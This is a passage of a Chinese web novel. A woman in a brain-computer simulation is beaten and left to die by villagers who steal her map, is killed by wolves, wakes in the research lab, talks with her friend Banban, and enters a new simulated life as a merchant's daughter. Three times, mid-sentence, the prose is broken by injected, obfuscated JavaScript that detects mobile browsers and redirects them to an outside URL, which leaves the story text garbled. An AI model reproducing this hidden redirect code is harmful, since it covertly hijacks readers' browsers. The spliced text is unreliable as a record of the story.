火势渐弱。我添了几根潮湿的柴,浓烟顿时冒起,呛得人咳嗽。就在这咳嗽的间隙,我听到了别的声音。
不是风声,不是兽嚎。
是脚步声。
很轻,踩在落叶和泥泞上,带着一种刻意的谨慎,正从下方的坡地慢慢靠近。
我全身的肌肉瞬间绷紧,抓起身边那根充当拐杖的粗树枝,慢慢站起身,将还在浅睡的妞妞挡在身后。心脏在胸腔里沉重地撞击着肋骨。
“谁?”我压低声音喝道,声音在山林的寂静中显得突兀而尖锐。
脚步声停了。
片刻的死寂,只有火苗舔舐木柴的细微声响和远处模糊的水声。
然后,一个熟悉得令人骨髓发寒的声音响了起来,不高,却清晰地穿透了夜色:“琪琪姑娘,是我。”
是李大先生。
他从岩壁下方的阴影里缓缓走出来,未受伤的手里提着的不是拐杖,而是一根前端削得尖利,在火光下泛着冷硬光泽的木棍,在我看来是一杆简陋而致命的长矛。他身后,还跟着两个模糊的身影——是赵四和铁柱,村里那两个一向对他唯命是从的壮丁。三个人,三个成年男人,像三尊从黑暗里浮出的雕像,堵住了我们唯一的退路。
妞妞被惊醒了,她抓住我的衣摆,小手冰凉,抖得厉害。
我强迫自己站稳,握紧那根脆弱的树枝,指尖因为用力而失去血色。“李大先生,你怎么在这里?”我的声音竭力维持着平静,却还是泄出了一丝颤抖。
李大先生笑了笑,那笑容在跳跃的火光映照下,扭曲而阴森,像一张画坏了的假面:“不放心你们啊。”他的声音慢条斯理,带着一种虚伪的关切,“一个女人一个孩子,走这么险的山路,万一出了事,我怎么对得起死去的阿山?他可是为了救我才……”
鬼话……全是鬼话!
“我们已经走出很远了,不劳李大先生费心。”我打断他,试图让语气强硬起来,“请回吧。”
“回?”李大先生摇摇头,笑容收敛,换上一种悲悯的,仿佛洞察一切的神情,“回不去了,琪琪姑娘。青石村……已经没了。那点粮食,撑不过这个冬天。所有人都得死,留在那里,只有死路一条。”
他向前踏了一步,木棍的尖端无意般指向地面。“但你不一样。”他的目光像钩子一样钉在我脸上,那里面再也没有丝毫掩饰,只剩下赤裸裸的贪婪和一种稳操胜券的冰冷,“你有地图。你知道去山外的路。阿山把什么都告诉你了,对不对?他把青石村最后的希望,都留给你了。”
原来如此。所有的“宽宏大量”,所有的“善意放行”,都只是为了这一刻。他像最有耐心的猎人,等我们带着希望走进这绝地,然后收网。他不仅要地图,要那条可能通往生路的方向,他更要彻底抹去我这个变数,这个知晓他卑劣、见证他无能、可能动摇他权威的异端。
12. 第十二章 与狼共舞
“地图是我和阿山的。”我一字一句,每个字都像是从冻僵的肺腑里挤出来,“跟你们,跟青石村,都没有关系。”
“阿山是青石村的人!”赵四粗声粗气地吼道,他脸上的横肉在火光下抖动,眼睛里布满血丝,那是饥饿、恐惧和贪婪混合成的疯狂,“他留下的东西,就是村里的东西!”
“对!”铁柱在一旁帮腔,他手里也攥着一根粗木棒,眼神躲闪,却又带着一种豁出去的狠劲,“把地图交出来!还有……银子!李大先生都给你银子了,你肯定还有别的藏起来了!交出来,不然……”
“不然怎样?”我反问,声音却虚得厉害。我能感觉到妞妞贴在我背后的颤抖,能听到自己心脏狂乱的搏动。我们没有任何胜算。
李大先生叹了口气,那叹息里充满了虚假的遗憾和真实的冷酷。“琪琪姑娘,何必把话说得这么绝?把地图交出来,我们可以带你一起走。山外兵荒马乱,你一个人,还带着个拖累,活不下去的。跟我们,至少……有条活路。”
“我不信你。”我直接撕破他最后的伪装。信他?信这个眼睁睁看着阿山为他而死,转身就来谋夺遗物、索命灭口的人?
李大先生的脸色彻底沉了下来,像结了一层寒冰。所有的伪善、算计、权衡,在这一刻都凝结成纯粹的杀意。他不再废话,微微偏头,使了个眼色。赵四和铁柱像得到指令的恶犬,一左一右,慢慢围了上来。他们踩在泥泞里的脚步声,沉重而充满威胁。
“别过来!”我举起火把,火焰对准他们,试图构筑一道防线。
“吓唬谁呢?”赵四嗤笑一声,满脸的不屑和残忍。
话音未落,他猛地扑了过来!动作比我想象的更快,更凶狠!
我几乎是本能地挥动火把,用尽全身力气打在他冲来的肩膀上。“嘭!”一声闷响,火花四溅。赵四痛呼一声,撞掉了火把,脸上闪过一丝狰狞,但脚步丝毫未停,蒲扇般的大手直接朝我抓来!
我侧身想躲,但脚下泥泞湿滑,动作慢了半拍。与此同时,铁柱从另一侧扑到,一把抓住我的胳膊!他的手指像铁钳一样箍紧,指甲几乎掐进我的皮肉里。
“放开我!”我尖叫着挣扎,另一只手胡乱地抓挠踢打。混乱中,我的脚踢中铁柱的小腿骨,他吃痛闷哼,手上力道稍松。我趁机想挣脱,但赵四已经再次扑到面前,那砂锅大的拳头带着风声,狠狠砸在我的肚子上!
“呃——!”剧痛像闪电在颅内炸开,瞬间抽空我肺里所有的空气。我眼前发黑,感觉五脏六腑都错了位,整个人像虾米一样弯下腰去,剧烈的恶心感涌上喉头。
“琪琪姐姐!”妞妞发出撕心裂肺的尖叫,小小的身影从后面冲出来,不管不顾地扑到赵四腿上,张开嘴就狠狠咬下去!
“小杂种!找死!”赵四暴怒,抬腿狠狠一踢!妞妞瘦小的身体像破布娃娃一样飞出去,“砰”地一声撞在旁边的岩石上,发出一声短促的闷响,然后软软地滑落在地,一动不动。
“妞妞——!!!”
那一瞬间,时间仿佛凝固。我看着妞妞毫无生气的身体,看着岩石上那抹刺眼的暗红,脑子里有什么东西“嗡”地一声断裂了。恐惧、愤怒、绝望……所有情绪熔合成一团炽热到冰冷的火焰,从心脏直冲头顶!
我不知哪来的力气,猛地抓起地上那根还在燃烧的柴火,不顾火焰灼烧手掌的疼痛,像疯了一样朝赵四的脸狠狠砸去!
“啊——!”柴火正砸在赵四脸上,火星和滚烫的木炭烫得他发出凄厉的惨叫,双手捂脸踉跄后退。
但几乎同时,铁柱从后面死死抱住我的腰,巨大的力量将我狠狠摔倒在地!泥浆和碎石硌得生疼,我挣扎着想爬起来,一只沾满泥污的布鞋已经踩在了我握着地图油布包的手上。
是李大先生。
他居高临下地看着我,脸上没有任何表情,只有那双眼睛,在火光映照下,像两口吞噬一切光亮的深潭。
“交出来。”他说,声音平静得像在讨论天气。
“不……”我咬着牙,手指死死攥紧,哪怕指骨在他脚下发出不堪重负的呻吟。这是阿山留下的,这是妞妞用命换来的……我不能……
他脚下用力,缓慢而坚定地碾踩。我听到自己手指骨头发出细微的,令人牙酸的碎裂声,剧痛像潮水般淹没了我,视野边缘开始发黑。但我没有松手,反而攥得更紧,指甲陷进掌心,渗出血来。
李大先生蹲下身,那张刻板衰老的脸离我很近,我能闻到他身上陈旧的墨臭和一种冰冷的、属于坟墓的气息。他伸出手,开始一根一根,掰开我痉挛的手指。他的手指干瘦有力,像鹰爪。我拼命抵抗,但力量悬殊太大。我能感觉到油布包正一点点脱离我的掌控……
“阿山……”我喃喃着,眼泪混着脸上的泥污流下来,流进嘴里,是咸的,苦的,“对不起……我守不住……”
就在地图即将被彻底夺走的刹那。
“嗷呜——!!!”一声凄厉得穿透耳膜的狼嚎,毫无征兆地从不远处的密林中炸响!那声音充满了野性的饥饿和杀戮的兴奋,瞬间撕裂了夜的寂静!紧接着,是第二声,第三声……此起彼伏,从不同的方向传来,迅速连成一片令人毛骨悚然的合鸣!
狼群!
是被这持续燃烧的火光,被赵四的惨叫,被空气中越来越浓的血腥味吸引来的狼群!
李大先生的动作僵住了。赵四捂着脸的惨叫也变成了惊恐的呜咽。铁柱松开了抱着我的手,惊恐地望向四周的黑暗。只见周围的树林间,一点一点,亮起了无数绿莹莹的光点。冰冷,残忍,贪婪。那些光点缓缓移动,越来越多,像夏夜坟场的鬼火,将我们这小小的火堆和岩壁凹陷处,隐隐包围了起来。
“狼……狼来了!好多!”铁柱的声音抖得不成样子,手里的木棒“哐当”掉在地上。
李大先生的脸色在火光下白得吓人,他没有像赵四和铁柱那样慌乱失措,目光急速扫过狼群,扫过吓傻的铁柱,扫过地上奄奄一息的我,最后,落在了他刚刚几乎到手的油布包上。
他没有试图逃跑,那在狼群环伺的陡坡上无异于自杀。他也没有试图抵抗,三个人,一根削尖的木棍,面对不知数量的饿狼,胜算渺茫。他选择了一条更歹毒、更有效的路。只见他猛地将手里那根前端尖利的木棍,朝着狼群最密集,也是下风口的方向,用尽全力投掷过去!木棍划破空气,带着一股狠劲,扎进黑暗里,惊起一片低吼和骚动。
就在狼群的注意力被那飞来的“武器”短暂吸引、本能避让的瞬间,李大先生转身,不是朝安全的方向,而是朝我冲来!我倒在冰冷的泥泞里,浑身剧痛,视线模糊,只能眼睁睁看着他那张没有任何表情、只有嘴角微微抽搐了一下的脸,在晃动的火光和阴影中急速逼近。
他的眼睛里没有恐惧,没有犹豫。“对不住了,琪琪姑娘。”他的声音近在咫尺,平静得可怕,甚至带着一丝诡异的歉意,“你得死在这里。”
我还没完全理解他话里那令人骨髓发寒的意味,就看见他抬起脚,不是踢向我,而是狠狠踹在了我身旁那块半截埋在泥里半截悬空
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119593|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,被洪水冲刷得根基早已松动的岩石上!
“砰!”一声闷响,靴底与岩石侧面撞击的力道之大,我甚至听到了他脚踝处传来的、令人牙酸的骨骼脆响!但他眉头都没皱一下,仿佛那疼痛不属于他。
岩石动了。它脱离了泥泞的束缚,开始滚落!而我,就在它滚落的路径上。
天旋地转。
世界在眼前疯狂地翻滚、颠倒。我甚至来不及发出一声完整的惊呼,身体就被那沉重的岩石裹挟着,一起向陡坡下方坠落!猛烈的撞击接踵而至,左臂先撞上一块凸起的石头,“咔嚓”,清晰的骨折声混着皮肉撕裂的剧痛炸开。然后是侧肋,一根,两根……断裂的骨茬刺破皮肤,更深的刺进肺腑,每一次试图呼吸都带来撕裂般的剧痛和满口的血腥味。翻滚,撞击,骨头碎裂,皮开肉绽……最后一下,是后背重重地砸在一棵被洪水冲断、残留着尖锐断桩的树干上。
“噗——”一大口温热的鲜血从嘴里喷涌而出,溅在面前的泥地上,迅速被吸收,只留下深色的痕迹。
我躺在那里,像一摊被撕碎的破布,动弹不得。每一次微弱的呼吸都牵扯着胸腔里碎裂的骨头,带来新一轮的剧痛。视线里的一切都在晃动、模糊,蒙上了一层暗红色的血雾。我能感觉到温热的液体正从后脑,从左臂断裂处,从肋下深深的伤口里,源源不断地涌出,浸透单薄的衣衫,与身下冰冷粘稠的泥浆混合在一起。生命正随着这些温热的流逝,迅速抽离这具残破的躯体。
上方,陡坡的边缘,李大先生的身影站在那里,低头俯瞰。月光吝啬地洒下一点清辉,照在他脸上。没有表情,没有成功夺取地图的得意,没有杀人灭口的狰狞,甚至没有一丝一毫属于人类的情绪波动。就像在看一块滚落的山石,一棵被风吹折的野草,一个……已经从他棋盘上被抹去的、无关紧要的棋子。
他手里紧紧攥着那个刚刚从我指间夺下的沾着血和泥的油布包,然后,毫不犹豫地转身。他的脚步甚至没有慌乱,只是略微蹒跚了一下。那是他踹岩石时脚踝受伤的缘故,便迅速而坚定地消失在岩壁上方,没入那片吞噬一切的黑暗里。他没有理会身后即将发生的惨剧,也没有再看一眼地上生死不明的妞妞。
狼群,没有去追他。它们的注意力,已经完全被坡下更浓烈、更新鲜的血腥味吸引。那些绿莹莹的光点,开始向下移动,像一群嗅到腐肉的秃鹫,缓缓地,稳稳地,围拢过来。
我躺在泥血之中,意识在剧痛和失血的冰冷中逐渐飘散。我能听到它们靠近时爪子踩在泥泞里的细微声响,能闻到它们身上那股浓烈的、混合着野兽体味和食腐气息的腥臊,越来越近,越来越清晰……
第一头狼靠近,低头嗅了嗅我脖颈处的伤口。它停顿了片刻,然后尖牙缓缓刺入皮肉。起初是尖锐的刺痛,随即变成温热的贯穿感。血液从破口涌出,带着生命流逝时特有的黏稠。呼吸开始困难,每一次吸气都带着血沫的嘶响。另一处传来肌肉从骨头上剥离的闷响。那种钝痛不同于刺伤,它更彻底,更深入骨髓。
声音渐渐远去,像隔着一层厚重的水幕。我的视线彻底暗了下去,最后一点光感也消失了。世界沉入无边无际的、纯粹的黑暗。声音也开始远去,狼群的进食声,风声,都变得模糊不清,像是隔着一层厚重的水幕。
在意识彻底消散前的最后一瞬,一点微弱的不相关的念头,像水底浮起的泡沫,轻轻炸开——
原来……这就是结局。
没有奇迹,没有救援,没有善恶有报。
黑暗吞没了一切。
13. 第十三章 交错的重影
我睁开双眼,盯着雪白的天花板怔怔失神,耳边是连绵不断的来自精密仪器的“滴滴”声。那声音规律、冰冷,与记忆中最后时刻的狼嚎、风声、骨碎声形成刺耳的对比。我缓慢地深呼吸一口气,别怕,我还活着……胸腔的起伏带来真实的触感,没有断裂的肋骨,没有撕裂的肺叶,只有平顺的、被机器辅助过的呼吸节奏。
“……女士?琪琪女士?”研究人员的声音慢慢清晰,像是从水下浮上来,“你还好吗?琪琪女士?”
我转动头,顺着声音在盲目地寻找,眼前一片模糊,只有色块和光影在晃动。
忽然,世界亮了。
不是光线增强,而是一层阻隔被移开。我看见研究人员在拨弄我的头盔,他的手指在某个卡扣上轻轻一按。哦,是因为脑机头盔上面的目视镜挡住了视线。那层暗色的,可能是模拟虚拟世界视觉信号的镜片被抬起,现实世界的光毫无遮挡地涌入瞳孔,带来轻微的刺痛。
“琪琪女士,听得到我说话吗?”
是熟悉的面容,那张在实验开始前给我讲解协议,表情专业且疏离的脸。我恍惚地皱眉,喉咙干涩发紧,发出的声音嘶哑得陌生:“……好痛。”
“抱歉,琪琪女士。”研究人员的声音照旧平稳,带着程式化的歉意,“我们后来做了各种尝试,只能将痛觉同步率降低到85%。神经反馈数据显示,您在模拟世界‘死亡’瞬间的生理应激反应远超预期阈值,为了确保实验数据完整性和您的生命安全,我们无法完全屏蔽痛觉信号。”
他顿了顿,目光在我脸上停留片刻,似乎在评估我的状态,然后继续用那种汇报工作般的语气说:“为了补偿参与实验者的损失,我们决定将一期非侵入式脑机实验的补偿金提高到8万美金。相关补充协议稍后会请您签署。”
8万美金。
这个数字像一颗石子投入死水,激起一点微澜迅速沉没。在青石村里,我曾为5万美金忍受一切,为那笔钱给自己打气,告诉自己这一切磨难都是值得的。可现在再提起这笔现实货币,它好像失去了所有重量。它买不回阿山和妞妞的命,也填补不了我胸腔里至今仍在隐隐作痛的巨大空洞。
我眨眨眼,试图让视线更清晰,也让混乱的思绪有个落脚点。
“我……”我尝试开口,声音依旧沙哑,“我‘死’了多久?”
“从模拟世界时间线终止,到您的意识完全回归稳定,现实时间过去了11小时42分钟。”研究人员精确地报出数字,“您的生理指标曾出现短暂危象,虽然目前已趋于平稳,但是建议您休息观察24小时。”
在青石村没有很精确的计时技术,与那些人的纠葛约莫半年之久,结果却只是现实中的半天时间。我闭上眼,时间错位带来的阵阵眩晕让我犯恶心。
“有其他人吗?”我听见自己问,眼睛依然闭着,“和我一起参与实验的人?”
“实验数据属于保密范畴。”研究人员的回答滴水不漏,“但可以告知您,您是第七位非侵入式测试的参与者。每个人的神经适应性和模拟世界体验都存在个体差异。”
第七位。
所以在我之前,还有六个人也在往复经历类似的一切?他们也曾在某个虚拟的时空里挣扎、恐惧、依恋,然后“死亡”?他们醒来后,是什么感觉?也像我一样,被困在两个世界的夹缝里,分不清哪边才是真实的痛楚?
我缓缓睁开眼,看向研究人员。他正低头在手中的平板电脑上记录着什么,侧脸专注而平静。对他来说,这只是一次普通的数据收集,一次技术测试。我的恐惧、我的痛苦、我那些在虚拟世界里真实发生过的生离死别,或许只是他图表上起伏的曲线,是报告里需要分析的参数。
“我想……”我深吸一口气,努力让声音听起来正常一些,“我想出去走走。”
研究人员抬起头,看了我两秒,然后点点头。“好的,这是为您准备的饭卡,您稍后可以去我们中心的食堂用餐,也可以在后面的花园散散心。”他收起平板,转身走向门口,白大褂的下摆轻轻摆动。
门无声地关上。
房间里只剩下我和那些仪器规律而冷漠的“滴滴”声。换上床边准备好的干净衣物,我推门走了出去。走廊很长,两侧是相似的白色房门,偶尔有穿着白大褂或实验服的人匆匆走过,没有人多看我一眼。空气里弥漫着消毒水和某种电子设备运转时特有的微焦味。一切都秩序井然,冰冷高效。
按照指示牌的指引,我来到位于三楼的员工食堂。正是午餐时间,人不多,三三两两地坐在靠窗的位置。我取了餐盘,机械地夹了些看起来清淡的食物。找了个角落的位置坐下,我盯着餐盘里的食物,却毫无食欲。那些在青石村拼命渴望的、干净温热的食物,此刻摆在面前,却像塑料模型一样虚假。我舀起一勺白粥送进嘴里,味同嚼蜡。
就在这时,我看见了熟悉的身影。她坐在斜对面靠窗的位置,背对着我。她的右手握着勺子,但那只手在剧烈地颤抖,在空中划出断续而痉挛的弧线。不锈钢勺子敲击在碗沿,发出细碎而急促的声响。
她试图用左手去抓右手手腕,但两只手像在跳一支不协调的舞。汤汁不断从勺边洒出来,在餐盘上溅开深色的斑点。她低头看着自己不听使唤的手,脸上露出困惑表情,然后突然笑了,是那种没心没肺的,我最熟悉的笑容。
“哎呀,”我听见她自言自语,语气轻松得像在讨论天气,“又洒了。”
我僵在那里,勺子停在半空。是那个把我带进实验室,然后消失不见的班班。是那个我一度想要揪起来找她狠狠算账的班班!但是,她为什么会在这里?手又为什么会抖成这样?
她似乎感觉到我的视线,转过头来。看到我时,她眼睛亮起来。
“琪琪!”她挥手,右手在空中划出颤抖的波浪线,“你也在这里!”
她端起餐盘走过来,动作因为手的颤抖而显得笨拙。走到我桌边时,她试图把餐盘放下,但右手突然一个剧烈的抽搐,餐盘翻倒了。班班站在原地,低头看着那片狼藉,右手还在空中无意识地颤抖。她眨了眨眼,然后突然又笑了。
“你看,”她说,语气里没有任何窘迫,“它有自己的想法。”
我蹲下身,帮她捡起滚落的碗碟。手指触碰到冰凉的金属时,我突然想起阿山那把生锈的柴刀——那种粗糙的、真实的触感。
“你的手……”我站起身,把碗碟放回她餐盘里,“怎么回事?”
“哦,这个啊。”班班抬起右手,那只手像风中的树叶般晃动着,“在实验世界里断手太久,回来突然发现手还在,脑子不适应了。”她说着,用左手从口袋里掏出一包纸巾,笨拙地抽出一张,试图擦拭桌上的油渍。但右手一直在抖,纸巾在她手里被揉成了一团。
“你也参加了实验?”我问,声音很轻。
班班点点头:“嗯嗯!比你早多了!”她歪着头有些苦恼,“我进去的次数比较多
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119594|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,进去几次都因为我的失败造成很多人死了。反思一下我还是有点过于理想化。”然后她脸上又绽开笑容:“不过没关系!实验就是这样,实践出真知!下次进去,我得再隐蔽一点!”
她的语气轻松得像在说游戏存档,那种对虚拟世界的随意态度,和我沉重的体验形成鲜明对比。
“你不怕吗?”我问,“那些死亡……那些痛苦……”
“怕?”班班很认真地想了想,“会怕。但怕完了,又觉得……”她抓了抓头发,“觉得那些世界很真实,真实到值得去改变。”
她说着,突然凑近我,压低声音,像在分享一个秘密:“我在想,如果下次进去,我要当个算命先生,到处说一些模棱两可的预言,说不定能改变整个故事的走向?”
她的眼睛里闪烁着纯粹的好奇,那种对“可能性”的痴迷,让我突然想起阿山第一次听我讲“山外的世界”时的眼神——不是怀疑,不是算计,只是单纯地想知道“还有这样的地方?”
“你……”我犹豫了一下,“实验结束后,你还会继续吗?”
班班的右手还在颤抖,但她的眼神很坚定。“嗯。我是实验室的长期合作伙伴。”她顿了顿,补充道,“不过,我还想找个搭档。”
“搭档?”
“嗯。”她看向我,眼睛亮晶晶的,“比如你。”
我愣住了。
“我?”我的声音有些发紧,“为什么是我?”
“因为……”班班把自己陷进沙发里,“你看起来很需要这个实验。”
她说这话时,语气里没有任何算计或诱导,只有一种近乎天真的直率。就像她会突然对我说“你该去剪头发了,刘海遮住眼睛了”一样——只是陈述她看到的事实。
我沉默着。窗外,庭院里的石头在阳光下静静躺着,被修剪过的松树在微风里轻轻摇晃。还未平静的脑海里,却是青石村的泥泞、阿山的坟墓、不会动的妞妞和狼群撕咬时血肉分离的触感。
“我需要想想。”我听见自己说。
班班点点头,没有追问,她站起来时,突然说:“对了,涵涵可能要来。”
“涵涵?”
“嗯。”班班把碗摞在餐盘上,右手还在抖,碗碟碰撞发出细碎的声响,“我准备问她——‘涵涵,要钱不要?’”
她说出这句话时,脸上浮现出那种熟悉的、跳跃的兴奋表情。阳光从她背后照过来,给她的轮廓镀上一层毛茸茸的金边。
那一刻,我突然意识到——班班可能根本不在意我在实验里经历了什么。她也不是要故意整我。她只是觉得这是个“有意思的项目”,想拉更多人进来一起“玩”。
她不知道青石村的泥泞,不知道阿山的死亡,不知道妞妞的血迹,不知道被狼群撕碎时那种真实的痛楚。
她只是……班班。
“我先回去了。”我说。
“好。”班班还摊在那里,懒洋洋地说,“我可能要晚点再进实验。祝你好运,琪琪。”
我转身走向食堂出口。身后传来碗碟碰撞的细碎声响,还有班班哼着不成调的歌的声音。她总是这样,在别人觉得沉重的时候,她还能没心没肺地唱歌。
走出食堂,走廊里的阳光有些刺眼。
我闭上眼睛,脑海里是班班颤抖的手,是她没心没肺的笑容,是她那句“你看起来很需要这个实验”,是阿山的坟墓、妞妞的血迹和狼群的獠牙,还有身上挥之不去的幻痛。
14. 第十四章 富贾林家
“琪琪女士,根据一期合同的规定,一共需要进入虚拟世界一周,前两次是为了能让您尽快适应,所以安排的都是短期的数据段,现在开始要准备为您链接正常容量的数据段。”研究人员带我来到一个休眠舱,他继续讲解道,“正常容量的数据段从开始到脱离花费的时间就因人而异了,所以我们这次准备的是休眠舱,可以完全保障监护您的生理健康。”
我其实有点在打退堂鼓。
研究人员可能也是见怪不怪了,补充了一句:“违约金是20万美金。”
“好的,我们开始吧。”我瞬间放弃了我的鼓。
研究人员点点头,没有多余的表情。他打开休眠舱的透明舱盖,里面铺着一层淡蓝色的凝胶垫,几根柔软的管线像水母触须般垂在一旁。
“请躺进去。我们会先为您注射温和的镇静剂,帮助您平稳过渡。”
我脱掉鞋,跨进舱体。凝胶垫冰凉而富有弹性,像某种生物的皮肤。躺下时,我能透过舱盖看见天花板上那些复杂的管道和指示灯。研究人员俯身过来,将那些管线贴在我的太阳穴、胸口、手腕。触感微凉,带着轻微的吸附力。
“这次的数据段,您将进入一个相对完整的社会结构。”他一边操作一边说,“时间跨度可能从几个月到几年不等,取决于您的神经适应性和剧情走向。”
剧情走向。他说得像个游戏。
“还会有……死亡吗?”我问,声音在舱体里显得有些闷。
他避开直接回答:“休眠舱会确保您的生理安全。请记住,无论虚拟世界中发生什么,您的身体在这里是安全的。”他拿起一支注射器,针尖在灯光下闪着寒光:“准备好了吗?”
我点点头,看着针尖刺入静脉,透明的液体缓缓推入。一种温热的麻木感从手臂开始蔓延,像温水漫过沙滩,一点点吞噬我的意识。视野开始模糊,天花板上的指示灯变成晃动的光斑。
眼皮沉重,像压着浸了水的棉絮,鼻腔里是若有若无的檀香,我缓缓睁开眼。
雪青色的帐幔,用银线绣着繁复的缠枝莲纹,从头顶的雕花木架上垂落。帐幔边缘缀着细小的玉珠,随着我的呼吸微微晃动,发出几乎听不见的碰撞声。
我猛地坐起身,身下的床褥柔软得不可思议,像陷进云里。低头看,身上是月白色的绸缎中衣,触感冰凉滑腻,贴着皮肤流动。
“小姐醒了?”
一个清脆的声音从帐外传来。
帐幔被一双纤细的手掀开,是个十三四岁的小丫鬟,梳着双丫髻,穿着水绿色的比甲,眼睛圆圆的,带着小心翼翼的恭敬。
“您可算醒了,”她声音里透着轻快的讨好,“这都睡到巳时了,夫人刚才还打发人来问呢。”
我张了张嘴,喉咙干涩,发不出声音。
“小姐要起身吗?”她给我递了杯温水。然后,麻利地挂好帐幔,转身从旁边的红木架子上取下一件杏粉色的织锦外衫,“今儿天好,园子里的海棠开得正盛,夫人说让小姐醒了去瞧瞧。”
我看着她熟练的动作,低眉顺眼的姿态,脑子里一片空白。
“小姐?”丫鬟见我愣着,试探着问,“可是哪儿不舒服?要叫大夫吗?”
“……不用。”我喝了口睡,终于挤出声音,嘶哑得陌生。
丫鬟松了口气,手脚利索地帮我穿衣。她的手指灵巧地系着衣带,动作轻柔得像对待易碎的瓷器。
“小姐,真的不用叫大夫吗?”丫鬟看着我脸色依旧苍白有些不安地问。
我像个木偶一样任她摆布,犹豫了片刻,还是发问道:“……我叫什么名字?”
“……”丫鬟吓坏了,连忙跪在地上,“小姐你到底怎么了?!”
丫鬟跪在地上,头埋得低低的,肩膀微微发抖。
深吸一口气,我尽量放缓声音,模仿着想象中闺秀该有的语气,却掩不住那份生疏:“起来吧。我……许是睡得太沉,魇着了。一时有些恍惚。”
丫鬟战战兢兢地抬起头,眼睛里的惊惧未退,但听我语气平稳,稍稍定了定神,依言站起来,却依旧垂着手,不敢直视我:“小姐……您可别吓奴婢。您自然是林府的大小姐,闺名上‘晚’下‘琪’,林晚琪啊。”
林晚琪,富贾林家的大小姐。信息碎片开始拼凑。这次他们给我的世界与上一个青石村简直是天壤之别,我迷茫。我该好好享受这次的旅途吗?像班班和那个研究人员一样,只是把实验当做游戏体验?
我边想边颔首,抬手揉了揉额角,做出疲惫的样子:“嗯,知道了。许是春日困乏,不打紧。你叫什么?”
“奴婢……奴婢是春竹啊,小姐。”丫鬟的声音带上哭腔,显然被我连名字都忘记的举动吓得不轻,“小姐,您真的没事吗?要不……要不还是请个大夫来瞧瞧吧?夫人那边……”
“不必惊动母亲。”我打断她,语气稍微坚决了些,“我歇歇就好。你先替我梳洗吧。”
春竹这才勉强压下慌乱,连忙应声,动作比之前更加小心翼翼。她扶我坐到梳妆台前,黄铜镜面打磨得十分光亮,映出我的脸。是我约莫十五六岁的模样,只是此刻面色苍白,眼神里带着一种与年龄不符的疏离和探究。
春竹的手很巧,很快为我梳了一个流云髻,插上一支简单的白玉簪子,又取来衣裙为我换上。那是一身藕荷色的缕金百蝶穿花云缎裙,行动间流光溢彩,显然价值不菲。富贾之家,名副其实。
梳妆完毕,镜中的少女已全然是一副富家千金的模样。藕荷色的云缎裙在晨光下泛着柔和的光泽,白玉簪子斜插在乌黑的发髻间,衬得脸色虽仍有些苍白,却已有了几分闺秀的韵致。
“小姐真好看,”春竹小声赞叹,又有些不安地补充,“就是脸色还差些……要不奴婢去小厨房,让她们炖盏血燕来?”
血燕。这个词像一颗投入静水的小石子,在我心里漾开一圈陌生的涟漪。在青石村,一碗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119595|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能照见人影的稀粥已是难得的温饱。而现在,仅仅是脸色差些,便有人要为我炖煮价比黄金的补品。
“不必了,”我说,声音比刚才稳了些,“先用些清淡的早膳吧。”
“是,小姐。”
春竹退下后,我独自坐在梳妆台前,指尖轻轻拂过妆匣里那些首饰。金丝嵌宝的蝴蝶簪、点翠的步摇、温润的玉镯……每一件都精巧绝伦,触手生温。我拿起一支赤金点翠的簪子,对着镜子比了比。沉甸甸的,带着金属特有的凉意。
这双手,曾经挖过阿山的坟墓,曾经在泥泞里挣扎求生,曾经被狼牙撕开皮肉。而现在,它们正摆弄着这些象征着另一个世界全部奢靡与安逸的物件。
一种奇异的割裂感攫住了我。
早膳摆在临窗的小圆桌上,细瓷碟盏,盛着水晶虾饺、蟹粉小笼、鸡丝粥,还有几碟我叫不出名字的精致小点。粥熬得米粒开花,入口即化,带着鸡汤的鲜甜。我慢慢地吃着,每一口都仔细地品味。虾饺的弹牙,小笼包滚烫的汤汁在口中爆开的鲜美,点心酥皮在齿间碎裂的细腻触感……这些感官的愉悦如此真实,如此具体。
上一次,生存是唯一的目的。疼痛、饥饿、寒冷是世界的全部底色。而这一次,世界向我展开了它的另一面:柔软、丰足、被精心呵护的一面。
春竹在一旁侍立,见我吃得慢,轻声问:“小姐,可是不合胃口?要不要换……”
“不用,”我打断她,舀起一勺粥,“很好。”是真的很好。好到让我……有些不知所措。
午后,母亲房里的丫鬟来请,说夫人请小姐去园子里赏花。我跟着引路的丫鬟穿过一道道月洞门、回廊。林府比我想象的更大,也更精致。亭台楼阁错落有致,假山流水点缀其间,花木扶疏,处处透着一种不动声色的富贵与讲究。
母亲坐在湖心亭里,正与一位衣着体面的中年妇人说话。见我来了,她微笑着招手:“晚琪,来见过你王姨母。”
我依着记忆中模糊的礼仪,敛衽行礼:“晚琪见过姨母。”
